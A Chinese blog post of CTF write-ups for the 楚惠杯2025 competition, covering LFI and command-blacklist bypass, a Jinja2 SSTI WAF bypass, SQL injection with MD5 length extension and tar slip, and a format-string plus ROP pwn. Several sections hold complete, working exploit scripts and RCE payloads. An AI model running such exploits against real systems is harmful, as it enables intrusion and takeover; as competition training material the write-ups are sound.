楚惠杯2025(部分)

楚惠杯2025(部分)

 次点击
96 分钟阅读

1-1

这种样本被称为 对抗样本 (Adversarial Examples)。
解释: 对抗样本是指在原始样本中通过添加肉眼难以察觉的微小扰动(噪声),导致深度学习模型(如神经网络)以高置信度输出错误分类结果的样本。这种攻击方式被称为 对抗攻击 (Adversarial Attack)。

1-2

该标准编号为 21434 。
完整标准名称: ISO/SAE 21434 Road vehicles — Cybersecurity engineering(道路车辆——网络安全工程)。
背景补充: ISO/SAE 21434 是汽车行业首个针对道路车辆网络安全的国际标准,它规定了车辆全生命周期(从概念设计、开发、生产、运维到报废)的网络安全管理要求,是目前车联网安全领域最核心的合规标准。

1-3

物联网设备的 密钥 管理是安全防护的关键环节。
完整句子: 物联网设备的 密钥 管理是安全防护的关键环节,若设备私钥存储在可读写的公共存储区域,攻击者即可通过物理手段提取私钥,进而仿冒合法设备接入网络。
解析: 此处强调的是对于“私钥”等敏感信息的生成、存储、分发和销毁的全生命周期管控,这属于 密钥管理 (Key Management)的范畴。如果密钥存储不当(如明文存放在Flash、EEPROM等非安全区域),极易被通过JTAG/UART接口或拆解芯片读取,读取固件进行提取。常见的固件提取攻击。

密窟迷宫 - 拯救芙莉莲

题目地址:http://45.40.247.139:15622/

一、题目

  • 场景为“误触宝箱机关”,需要通过 Web 漏洞解出封印并获取 flag

二、信息收集

  • 主页正常访问,无明显入口

  • 访问 robots.txt 发现被禁止路径:/<(´⌯ ̫⌯)>.php`

  • 直接访问该隐藏文件,页面出现 PHP 报错:
    - Undefined index: file
    - include(): Filename cannot be empty

  • 结合报错研判存在“文件包含 + 参数控制”的逻辑

三、源码获取与漏洞确认

利用 PHP 伪协议读取源码(Base64 过滤器):

http://45.40.247.139:15622/<(´⌯ ̫⌯`)>.php?file=php://filter/read=convert.base64-encode/resource=<(´⌯ ̫⌯`)>.php

将响应中的 Base64 解码得到源码,已保存副本:source_code.php。
关键逻辑摘要(节选):

$file = $_GET['file'];
$blacklist = array(
  'flag','php://input','data://','expect://','file://','glob://','phar://',
  '/etc/passwd','/etc/shadow','win.ini','../','..\\',
);
foreach ($blacklist as $bad) {
  if (stripos($file, $bad) !== false) {
    die(...);
  }
}
include($file);
// RCE 部分(在 ?spell 参数传入后执行)
$forbidden = array('system','exec','passthru','shell_exec','popen','proc_open');
// ...
$blocked_commands = array('cat','tac','nl','more','less','head','tail','sort','uniq',
  'strings','od','xxd','hexdump','grep','awk','sed','cut','rev','base64','env');
// ...
$result = shell_exec($spell);

结论:

  • 存在 LFI(本地文件包含)校验与 include($file) 执行

  • 同时存在 RCE 点:shell_exec($_GET['spell'])

  • 对命令与关键词做了黑名单过滤(stripos 逐字匹配)

四、利用思路

  1. include($file) 正常执行以继续到 RCE 分支  
    - 传入一个安全的可读取文件,如 robots.txt

  2. 绕过 RCE 黑名单并读取根目录中的 flag 文件  
    - 过滤器阻止出现明文 catflag
    - 但 stripos 为纯文本匹配,可利用 Shell 解析特性绕过:
    - 用制表符替代:ca\t 在 Shell 中解析为 cat
    - 用通配符替代:/f* 匹配 /flag

五、实际 Payload 与结果

先确认 RCE 生效:

http://45.40.247.139:15622/<(´⌯ ̫⌯`)>.php?file=robots.txt&spell=ls%20/

输出目录列表中含有 flag,证明 RCE 有效。
最终读取 flag(Tab 为 %09):

http://45.40.247.139:15622/<(´⌯ ̫⌯`)>.php?file=robots.txt&spell=ca%09%20/f*

返回:

DASCTF{14041422916717706061902735593716}

六、复现脚本(节选)

使用 requests 的最简复现(完整脚本见:scan.py):

import requests
url = 'http://45.40.247.139:15622/<(´⌯ ̫⌯`)>.php'
params = {'file': 'robots.txt', 'spell': r'ca\t /f*'}
print(requests.get(url, params=params).text)

八、结论

  • 该题通过 LFI 辅助源码审计,随后利用 RCE 并绕过黑名单,最终读取根目录 flag 文件

  • Flag:DASCTF{14041422916717706061902735593716}

2-2

题目信息

  • 题目地址: http://45.40.247.139:16081/

  • 题目描述: 绕过字符 WAF,进行 RCE,运行 tar cf - /flag 出 flag。

解题思路

1. 探测与分析

通过访问题目地址,发现是一个名为 "CyberMarket" 的暗网数据交易模拟网站。
通过探测发现存在 /relay 接口,该接口接受 portdata 参数,可以将请求转发到内部网络。
利用 /relay 探测内部端口(如 5000),发现内部运行着实际的业务服务。

2. 漏洞挖掘

内部服务主要包含以下几个关键接口:

  • /initialize: 初始化 Session。

  • /hack: 用于获取积分(Credits)。

  • /market: 购买数据片段,存在 SSTI 漏洞。

漏洞点 1: 整数溢出 (Integer Underflow)

/hack 接口中,如果传入一个极小的负数,可以绕过积分检查并获得巨额积分。
经过测试,传入 int64 的最小值 -9223372036854775808 可以成功触发溢出,获得大量正数积分。
URL: /hack?amount=-9223372036854775808

漏洞点 2: SSTI 与 WAF 绕过

/market 接口的 fragment 参数存在 Jinja2 模板注入漏洞。
但是该接口存在严格的 WAF,过滤了以下字符:

  • . (点)

  • _ (下划线)

  • [ ] (中括号)

  • ' " (引号)

  • 这里的 WAF 阻止了常规的 __class__, __mro__, ['os'] 等访问方式。

3. WAF 绕过技巧

为了执行命令,我们需要构造出 __globals__, __builtins__, os, popen 等字符串,并获取到 lipsum 等对象来通过 attr() 访问属性。
构造字符:

  • 字母: 利用 dict(a=1)|first 获取字符 'a'。

  • 空格: 利用 center 过滤器,如 vc|center(3) 得到 " c ",再取 first 得到空格。

  • %: 利用 urlencode 过滤器,空格 urlencode 后变为 %20,取 first 得到 %

  • _: 利用 format 过滤器,%c 格式化 ASCII 码 95 得到 _

  • /: 利用 chr(47),其中 chr 函数从 __builtins__ 中获取。
    构造 Payload:

  1.  拼接生成 __globals____builtins__ 字符串。

  2.  通过 lipsum|attr("__globals__") 获取全局变量。

  3.  进一步获取 __builtins__,从中获取 chr 函数。

  4.  利用 chr() 构造任意字符(如 /, -)。

  5.  拼接出命令 tar cf - /flag

  6.  通过 os.popen() 执行命令并读取结果。

4. 执行 Exploit

编写脚本自动化执行以下步骤:

  1.  通过 /relay 访问 /initialize 初始化 Session。

  2.  通过 /relay 访问 /hack 刷取积分。

  3.  通过 /relay/market 发送 SSTI Payload。

  4.  从响应中提取 Flag。

Exploit 脚本

import requests
import re
import urllib.parse
SERVER_URL = "http://45.40.247.139:16081"
RELAY_URL = f"{SERVER_URL}/relay"
TARGET_PORT = 5000
def send_via_relay(method, path, headers=None, body=None):
    if headers is None:
        headers = {}
    # Construct raw HTTP request
    req = f"{method} {path} HTTP/1.1\r\n"
    req += "Host: 127.0.0.1\r\n"
    req += "Connection: close\r\n"
    for k, v in headers.items():
        req += f"{k}: {v}\r\n"
    if body:
        # If body is dict, URL encode it
        if isinstance(body, dict):
            body = urllib.parse.urlencode(body)
            if "Content-Type" not in headers:
                req += "Content-Type: application/x-www-form-urlencoded\r\n"
        req += f"Content-Length: {len(body)}\r\n"
        req += "\r\n"
        req += body
    else:
        req += "\r\n"
    try:
        r = requests.post(RELAY_URL, data={"port": TARGET_PORT, "data": req})
        return r.text
    except Exception as e:
        print(f"[-] Relay error: {e}")
        return None
def parse_cookie(response_text):
    match = re.search(r"Set-Cookie: session=([^;]+);", response_text)
    if match:
        return match.group(1)
    return None
def generate_payload(command):
    # 辅助函数:利用 dict(x=1)|first 获取字符 'x'
    def get_char(c, var_name):
        return "{%set " + var_name + "=dict(" + c + "=1)|first%}"
    payload = ""
    chars = "abcdefghijklmnopqrstuvwxyz"
    for c in chars:
        payload += get_char(c, f"v{c}")
    # 拼接基础字符串
    payload += "{%set glstr=vg~vl~vo~vb~va~vl~vs%}" # globals
    payload += "{%set btstr=vb~vu~vi~vl~vt~vi~vn~vs%}" # builtins
    payload += "{%set chstr=vc~vh~vr%}" # chr
    payload += "{%set omod=vo~vs%}" # os
    payload += "{%set pfunc=vp~vo~vp~ve~vn%}" # popen
    payload += "{%set rmeth=vr~ve~va~vd%}" # read
    payload += "{%set gmeth=vg~ve~vt%}" # get
    # 构造特殊字符
    # 利用 center(3) 获取空格
    payload += "{%set padded=vc|center(3)%}"
    payload += "{%set space=padded|first%}"
    # 利用 urlencode 获取 %
    payload += "{%set pctstr=space|urlencode%}"
    payload += "{%set percent=pctstr|first%}"
    # 利用 format 获取 _
    payload += "{%set fmt=percent~vc%}" # %c
    payload += "{%set unsc=fmt|format(95)%}" # _
    # 构造 __globals__ 和 __builtins__ 键名
    payload += "{%set glkey=unsc~unsc~glstr~unsc~unsc%}"
    payload += "{%set btkey=unsc~unsc~btstr~unsc~unsc%}"
    # 获取 globals 和 builtins
    payload += "{%set g=lipsum|attr(glkey)%}"
    payload += "{%set bt=g|attr(gmeth)(btkey)%}"
    payload += "{%set ch=bt|attr(gmeth)(chstr)%}" # 获取 chr 函数
    # 构造命令中需要的特殊字符
    payload += "{%set slash=ch(47)%}" # /
    payload += "{%set dash=ch(45)%}" # -
    # 构造命令字符串
    first = True
    for char in command:
        val = ""
        if 'a' <= char <= 'z':
            val = "v" + char
        elif char == ' ':
            val = "space"
        elif char == '-':
            val = "dash"
        elif char == '/':
            val = "slash"
        else:
            val = "ch(" + str(ord(char)) + ")"
        if first:
            payload += "{%set cmd=" + val + "%}"
            first = False
        else:
            payload += "{%set cmd=cmd~" + val + "%}"
    # 执行命令
    payload += "{%set mod=g|attr(gmeth)(omod)%}" # os
    payload += "{%set popen=mod|attr(pfunc)%}" # popen
    payload += "{%set out=popen(cmd)|attr(rmeth)()%}" # read
    payload += "{%print out%}"
    return payload
def exploit():
    # 1. Initialize session
    print("[*] Initializing session...")
    resp = send_via_relay("GET", "/initialize")
    cookie = parse_cookie(resp)
    if not cookie:
        print("[-] Failed to get cookie")
        return
    print(f"[+] Cookie: {cookie}")
    # 2. Hack credits
    print("[*] Hacking credits...")
    # 使用 int64 最小值触发 Underflow
    resp = send_via_relay("GET", "/hack?amount=-9223372036854775808", headers={"Cookie": f"session={cookie}"})
    new_cookie = parse_cookie(resp)
    if new_cookie:
        cookie = new_cookie
    # 3. RCE
    cmd = "tar cf - /flag"
    print(f"[*] Sending payload: {cmd}")
    payload = generate_payload(cmd)
    body = {"fragment": payload}
    resp = send_via_relay("POST", "/market", headers={"Cookie": f"session={cookie}"}, body=body)
    # Check response
    if "flag{" in resp:
        match = re.search(r"flag{[^}]+}", resp)
        if match:
            print(f"[+] FLAG: {match.group(0)}")
    elif "<h3>" not in resp and len(resp) > 100:
        header_end = resp.find("\r\n\r\n")
        if header_end != -1:
            binary_data = resp[header_end+4:]
            flag_match = re.search(r"flag{[^}]+}", binary_data)
            if flag_match:
                print(f"[+] FLAG found in binary: {flag_match.group(0)}")
            else:
                print(f"[*] Flag might be in the binary response (len: {len(binary_data)})")
    else:
        print("[*] Response:")
        print(resp)
if __name__ == "__main__":
    exploit()

运行结果

执行脚本后,成功获取 Flag:
DASCTF{41118891699440548027453120618544}

CTF Writeup: Web 2-3

题目描述

Web 题目,提供了一个企业数据公示管理系统。
题目地址:http://45.40.247.139:18853/

漏洞分析

经过对题目源码(src 目录)的分析,发现该系统存在多个漏洞,组合利用可以获取 Flag。

1. SQL 注入 (SQL Injection)

/edit-profile 接口中,用户提交的个人信息更新请求存在 SQL 注入漏洞。
后端代码大致逻辑如下(推测):


# 伪代码
cursor.executescript(
    f"""
        UPDATE users
        SET
            employee_number = '{profile.employee_number}',
            email = '{profile.email}',
            ...
        WHERE
            username = '{username}'
    """
)

由于直接将用户输入拼接到 SQL 语句中,且使用了 executescript(支持多条语句执行),攻击者可以通过构造恶意的输入(如 email 字段)来执行任意 SQL 语句。

2. 哈希长度扩展攻击 (Hash Length Extension Attack)

系统的密码验证机制使用了 MD5 算法,并且加上了盐值(Salt):
hash = MD5(SALT + password)
其中 SALT 是一个随机生成的 16 字节字符串,且在应用启动时生成,并在整个生命周期内保持不变(或者对于攻击者来说是未知的)。
由于 MD5 算法存在长度扩展攻击(Length Extension Attack)的特性,如果我们知道 MD5(SALT + secret)SALT + secret 的长度,我们就可以在不知道 SALT 的情况下,计算出 MD5(SALT + secret + padding + suffix) 的值。
利用场景:

  1. 攻击者注册一个账号,设置已知密码 P1

  2. 通过 SQL 注入获取该账号在数据库中存储的哈希值 H1 = MD5(SALT + P1)

  3. 利用长度扩展攻击,计算出 H2 = MD5(SALT + P1 + padding + suffix)

  4. 构造一个新的密码 P2 = P1 + padding + suffix

  5. 通过 SQL 注入,将管理员(admin)的密码哈希修改为 H2

  6. 使用密码 P2 登录 admin 账号。此时服务器计算 MD5(SALT + P2) 得到 H2,与数据库匹配,登录成功。

3. 任意文件覆盖 (Zip/Tar Slip)

在管理员后台 /admin/restore 接口,允许上传 .tar 格式的数据库备份文件进行恢复。
后端处理逻辑如下:

# 伪代码
backup_tar_file = tarfile.open(backup_filepath, "r")
backup_tar_file.extractall(backup_dir)

tarfile.extractall 在 Python 的旧版本或未经过滤的情况下,存在路径遍历漏洞。如果 tar 包中的文件名包含 ../,则可以跳出目标目录,覆盖服务器上的任意文件。

4. 服务器端模板注入 (SSTI)

系统使用 Jinja2 作为模板引擎。结合上述的文件覆盖漏洞,攻击者可以构造一个包含 ../templates/info.html 文件的 tar 包。该文件的内容为 Jinja2 的 SSTI Payload,例如:

{{ lipsum.__globals__["os"].popen("cat /flag").read() }}

当上传并解压后,系统的 info.html 模板被恶意文件覆盖。访问 /info 页面时,模板被渲染,从而执行恶意代码并读取 Flag。

Exp 脚本

以下是完整的利用脚本,通过 Python 实现自动化攻击:

import requests
import binascii
import struct
import math
import re
import tarfile
import io
import time
import random
import string
# 目标地址
BASE_URL = "http://45.40.247.139:18853"
# MD5 辅助函数 (用于长度扩展攻击)
def left_rotate(n, b):
    return ((n << b) | (n >> (32 - b))) & 0xFFFFFFFF
# MD5 常量表
K_TABLE = [int(math.floor(abs(math.sin(i+1))*(2**32))) for i in range(64)]
S_TABLE = [7,12,17,22]*4 + [5,9,14,20]*4 + [4,11,16,23]*4 + [6,10,15,21]*4
def md5_compress(state, block):
    """MD5 压缩函数"""
    a, b, c, d = state
    M = list(struct.unpack("<16I", block))
    A, B, C, D = a, b, c, d
    for i in range(64):
        if i < 16:
            F = (B & C) | ((~B) & 0xFFFFFFFF & D)
            g = i
        elif i < 32:
            F = (D & B) | (C & ((~D) & 0xFFFFFFFF))
            g = (5 * i + 1) % 16
        elif i < 48:
            F = B ^ C ^ D
            g = (3 * i + 5) % 16
        else:
            F = C ^ (B | ((~D) & 0xFFFFFFFF))
            g = (7 * i) % 16
        F = (F + A + K_TABLE[i] + M[g]) & 0xFFFFFFFF
        A = D
        D = C
        C = B
        B = (B + left_rotate(F, S_TABLE[i])) & 0xFFFFFFFF
    return ((a + A) & 0xFFFFFFFF, (b + B) & 0xFFFFFFFF, (c + C) & 0xFFFFFFFF, (d + D) & 0xFFFFFFFF)
def md5_padding(message_len):
    """MD5 填充"""
    return b"\x80" + b"\x00" * ((55 - message_len) % 64) + struct.pack("<Q", message_len * 8)
def md5_from_state(state, data):
    """从给定状态继续计算 MD5"""
    a, b, c, d = state
    for i in range(0, len(data), 64):
        a, b, c, d = md5_compress((a, b, c, d), data[i:i+64])
    return struct.pack("<4I", a, b, c, d).hex()
def length_extension_attack(known_hash, original_len, extension_data):
    """执行长度扩展攻击"""
    state = struct.unpack("<4I", bytes.fromhex(known_hash))
    glue_padding = md5_padding(original_len)
    total_len = original_len + len(glue_padding) + len(extension_data)
    new_hash = md5_from_state(state, extension_data + md5_padding(total_len))
    return new_hash, glue_padding + extension_data
def main():
    print("[*] 开始执行漏洞利用...")
    session = requests.Session()
    session.timeout = 15
    # Step 1: 注册并登录一个普通用户
    print("[1] 注册并登录普通用户...")
    base_password = b"exploitpwd"
    username = "hacker_" + ''.join(random.choices(string.ascii_lowercase, k=6))
    # 转换为 hex 格式传输
    user_hex = binascii.b2a_hex(username.encode()).decode()
    pass_hex = binascii.b2a_hex(base_password).decode()
    resp = session.post(f"{BASE_URL}/register", json={
        "username": user_hex,
        "password": pass_hex,
        "employee_number": "E00001",
        "email": "hacker@example.com",
        "phone_number": "1234567890",
        "first_name": "Hacker",
        "last_name": "One",
        "date_of_birth": "2000-01-01",
        "address": "Address"
    })
    if resp.status_code != 200:
        print(f"[-] 注册失败: {resp.text}")
        # 尝试直接登录(如果用户已存在)
    # Step 2: 利用 SQL 注入提取当前用户的密码哈希
    print("[2] 利用 SQL 注入获取密码哈希...")
    # 注入 payload:将 email 更新为查询到的密码哈希
    payload = f"x'; UPDATE users SET email=(SELECT password FROM users WHERE username='{username}') WHERE username='{username}'; --"
    session.post(f"{BASE_URL}/edit-profile", params={
        "employee_number": "E00001",
        "email": payload,
        "phone_number": "1234567890",
        "first_name": "Hacker",
        "last_name": "One",
        "date_of_birth": "2000-01-01",
        "address": "Address"
    })
    # 从个人信息页面获取哈希
    resp = session.get(f"{BASE_URL}/info")
    if '邮箱' not in resp.text:
        print("[-] 无法获取信息页面或注入失败")
        print(resp.text)
        return
    # 提取哈希值 (32位 hex)
    match = re.search(r'([a-f0-9]{32})', resp.text.split('邮箱')[1][:100])
    if not match:
        print("[-] 未能提取到哈希值")
        return
    known_hash = match.group(1)
    print(f"[+] 获取到哈希值: {known_hash}")
    # Step 3: 执行 MD5 长度扩展攻击
    print("[3] 计算长度扩展攻击 Payload...")
    # 盐长度固定为 16
    salt_length = 16
    original_len = salt_length + len(base_password)
    extension = b"ADMIN_ACCESS"
    new_hash, appended_data = length_extension_attack(known_hash, original_len, extension)
    extended_password = base_password + appended_data
    print(f"[+] 伪造的哈希值: {new_hash}")
    # Step 4: 利用 SQL 注入修改 Admin 密码
    print("[4] 修改 Admin 密码哈希...")
    update_payload = f"x'; UPDATE users SET password='{new_hash}' WHERE username='admin'; --"
    session.post(f"{BASE_URL}/edit-profile", params={
        "employee_number": "E00001",
        "email": update_payload,
        "phone_number": "1234567890",
        "first_name": "Hacker",
        "last_name": "One",
        "date_of_birth": "2000-01-01",
        "address": "Address"
    })
    # Step 5: 使用伪造的密码登录 Admin
    print("[5] 登录 Admin 账户...")
    admin_session = requests.Session()
    admin_session.timeout = 15
    admin_user_hex = binascii.b2a_hex(b"admin").decode()
    # 注意:密码以 hex 形式发送
    admin_pass_hex = extended_password.hex()
    resp = admin_session.post(f"{BASE_URL}/login", data={
        "username": admin_user_hex,
        "password": admin_pass_hex
    }, allow_redirects=False)
    if resp.status_code == 302 or (resp.status_code == 200 and "admin" in resp.text):
        print("[+] Admin 登录成功")
    else:
        print(f"[-] Admin 登录失败: {resp.status_code}")
        return
    # Step 6: 上传恶意 Tar 包覆盖模板 (SSTI)
    print("[6] 利用 Tar Slip 覆盖模板并触发 SSTI...")
    # 构造 SSTI Payload
    ssti_payload = '<!DOCTYPE html><html><body><pre>{{ lipsum.__globals__["os"].popen("cat /flag").read() }}</pre></body></html>'
    # 创建恶意的 tar 文件
    tar_buffer = io.BytesIO()
    with tarfile.open(fileobj=tar_buffer, mode="w") as tar:
        # 使用路径穿越文件名
        tar_info = tarfile.TarInfo(name="../templates/info.html")
        payload_bytes = ssti_payload.encode()
        tar_info.size = len(payload_bytes)
        tar.addfile(tar_info, io.BytesIO(payload_bytes))
    tar_buffer.seek(0)
    # 上传文件
    admin_session.post(f"{BASE_URL}/admin/restore", files={
        "restore_file": ("exploit.tar", tar_buffer, "application/x-tar")
    })
    time.sleep(1)
    # Step 7: 访问页面触发 SSTI 获取 Flag
    print("[7] 获取 Flag...")
    resp = admin_session.get(f"{BASE_URL}/info")
    if "DASCTF" in resp.text:
        print("\n[SUCCESS] Flag found:")
        print(re.search(r'(DASCTF\{.*?\})', resp.text).group(1))
    else:
        print("[-] Flag not found in response.")
        print(resp.text)
if __name__ == "__main__":
    main()

Flag

DASCTF{15464287394836846904472519519996}

PWN Writeup

漏洞分析

1. 保护机制

根据脚本的泄漏和利用逻辑,可以推断程序启用了以下保护:

  • Canary: 存在栈溢出保护,需要在溢出前泄漏并还原。

  • PIE (ASLR): 代码段地址随机化,需要泄漏基址。

  • NX (No-Execute): 栈不可执行,需要使用 ROP 攻击。

2. 漏洞点

程序存在两个主要的利用点:

  1.  格式化字符串漏洞 (Format String Bug)
      在“写名字”功能(Option 2)中存在 printf(buf) 漏洞。
      攻击者可以利用 %p 泄漏栈上数据(Canary、PIE 基址、Libc 基址)。
    *   攻击者可以利用 %n 修改任意地址的值(用于修改全局变量 nbytes)。

  2.  栈溢出漏洞 (Stack Overflow)
      在“写内容”功能(Option 3)中,读取长度由全局变量 nbytes 控制。
      初始 nbytes 较小,无法溢出。
    *   通过格式化字符串将 nbytes 修改为较大值(如 512)后,即可触发栈溢出

利用思路

第一步:信息泄漏 (Info Leak)

利用 Option 2 的格式化字符串漏洞,构造 payload 泄漏关键地址:

  • Canary: 位于格式化字符串参数的第 13 个位置 (%13$p)。

  • PIE Base: 栈上残留的返回到 main 的地址位于第 15 个位置 (%15$p),减去固定偏移 0x147c 得到 PIE 基址。

  • Libc Base: 栈上残留的 __libc_start_main 返回地址位于第 21 个位置 (%21$p),减去固定偏移 0x24083 得到 Libc 基址。

第二步:修改读取长度 (Overwrite Global Variable)

为了触发栈溢出,需要修改控制读取长度的全局变量 nbytes

  • nbytes 的地址可以通过 PIE Base + 0x4010 计算得出。

  • 利用格式化字符串的 %n 特性,将 nbytes 的值修改为 512 (0x200)。

  • Payload 构造:%512c%10$n,其中 %10$ 对应栈上存储的目标地址(即 nbytes 的地址)。

第三步:ROP 攻击 (Ret2Libc)

修改 nbytes 后,使用 Option 3 输入超长内容触发栈溢出:

  1.  填充缓冲区: 72 字节垃圾数据。

  2.  恢复 Canary: 填入第一步泄漏的 Canary 值,绕过栈保护。

  3.  栈对齐: 填入 8 字节垃圾数据覆盖 Saved RBP。

  4.  构造 ROP 链:
      ret gadget (用于 16 字节栈对齐)。
      pop rdi; ret (将 /bin/sh 地址放入 RDI 寄存器)。
    *   system 函数地址。
    最终执行 system("/bin/sh") 获取 Shell。

Exploit 脚本

#!/usr/bin/env python3
from pwn import *
class PwnExploit:
    def __init__(self, host, port):
        self.host = host
        self.port = port
        self.p = None
        # Base Addresses (to be leaked)
        self.base_pie = 0
        self.base_libc = 0
        self.canary = 0
        # Offsets (Static)
        self.OFFSET_NBYTES     = 0x4010
        self.OFFSET_MAIN_RET   = 0x147c
        self.OFFSET_LIBC_START = 0x24083
        # Libc Gadgets & Symbols (Hardcoded for target env)
        self.OFFSET_SYSTEM     = 0x52290
        self.OFFSET_BINSH      = 0x1b45bd
        self.OFFSET_POP_RDI    = 0x23b6a
        self.OFFSET_RET        = 0x22679

    def connect(self):
        """Establish connection to the target."""
        context.log_level = 'debug'
        context.arch = 'amd64'
        try:
            self.p = remote(self.host, self.port)
            log.info(f"Connected to {self.host}:{self.port}")
        except Exception as e:
            log.error(f"Connection failed: {e}")
            exit(1)
    def leak_info(self):
        """Phase 1: Leak Canary, PIE base, and Libc base."""
        log.progress("Phase 1: Leaking information...")
        # Select 'write name' option
        self.p.sendlineafter(b'>> ', b'2')
        # Construct leak payload: %13$p (Canary) . %15$p (PIE) . %21$p (Libc)
        payload = b'%13$p.%15$p.%21$p'.ljust(0x30, b'\x00')
        self.p.sendlineafter(b'Please write your name:\n', payload)
        # Parse leaked values
        self.p.recvuntil(b'the name is:\n')
        leaks = self.p.recvline().strip().split(b'.')
        self.canary    = int(leaks[0], 16)
        leak_pie       = int(leaks[1], 16)
        leak_libc      = int(leaks[2], 16)
        self.base_pie  = leak_pie - self.OFFSET_MAIN_RET
        self.base_libc = leak_libc - self.OFFSET_LIBC_START
        log.success(f"Canary:    {hex(self.canary)}")
        log.success(f"PIE Base:  {hex(self.base_pie)}")
        log.success(f"Libc Base: {hex(self.base_libc)}")
    def overwrite_nbytes(self):
        """Phase 2: Overwrite 'nbytes' global variable to allow overflow."""
        log.progress("Phase 2: Overwriting nbytes...")
        target_addr = self.base_pie + self.OFFSET_NBYTES
        # Payload logic:
        # 1. %512c -> Output 512 characters
        # 2. %10$n -> Write the count (512) to the address at the 10th stack argument
        # 3. Pad to 32 bytes to align the address at the correct offset
        # 4. Append the target address (which lands at the 10th argument position)
        fmt_str = b'%512c%10$n'
        payload = fmt_str.ljust(32, b'A') + p64(target_addr)
        payload = payload.ljust(0x30, b'\x00')
        self.p.sendlineafter(b'>> ', b'2')
        self.p.sendlineafter(b'Please write your name:\n', payload)
        log.success(f"Overwrote nbytes at {hex(target_addr)} with 512")
    def execute_rop(self):
        """Phase 3: Trigger Stack Overflow and execute ROP chain."""
        log.progress("Phase 3: Sending ROP chain...")
        # Calculate gadget addresses
        addr_ret     = self.base_libc + self.OFFSET_RET
        addr_pop_rdi = self.base_libc + self.OFFSET_POP_RDI
        addr_binsh   = self.base_libc + self.OFFSET_BINSH
        addr_system  = self.base_libc + self.OFFSET_SYSTEM
        # Build ROP chain
        rop = flat([
            b'A' * 72,              # Buffer padding
            p64(self.canary),       # Restore Canary
            p64(0),                 # Saved RBP (dummy)
            p64(addr_ret),          # Stack alignment (16-byte align for System)
            p64(addr_pop_rdi),      # pop rdi; ret
            p64(addr_binsh),        # -> rdi = "/bin/sh"
            p64(addr_system)        # system("/bin/sh")
        ])
        self.p.sendlineafter(b'>> ', b'3')
        self.p.sendlineafter(b'Please write your content\n', rop)
        log.success("ROP chain sent! Check for shell.")
    def run(self):
        self.connect()
        self.leak_info()
        self.overwrite_nbytes()
        self.execute_rop()
        self.p.interactive()
if __name__ == '__main__':
    # Target Configuration
    TARGET_HOST = '45.40.247.139'
    TARGET_PORT = 21296
    exploit = PwnExploit(TARGET_HOST, TARGET_PORT)
    exploit.run()

结果

成功获取 Flag: DASCTF{COngratu1at1ons_ON_Get1ing_The_R1ght_HOUse}

© 本文著作权归作者所有,未经许可不得转载使用。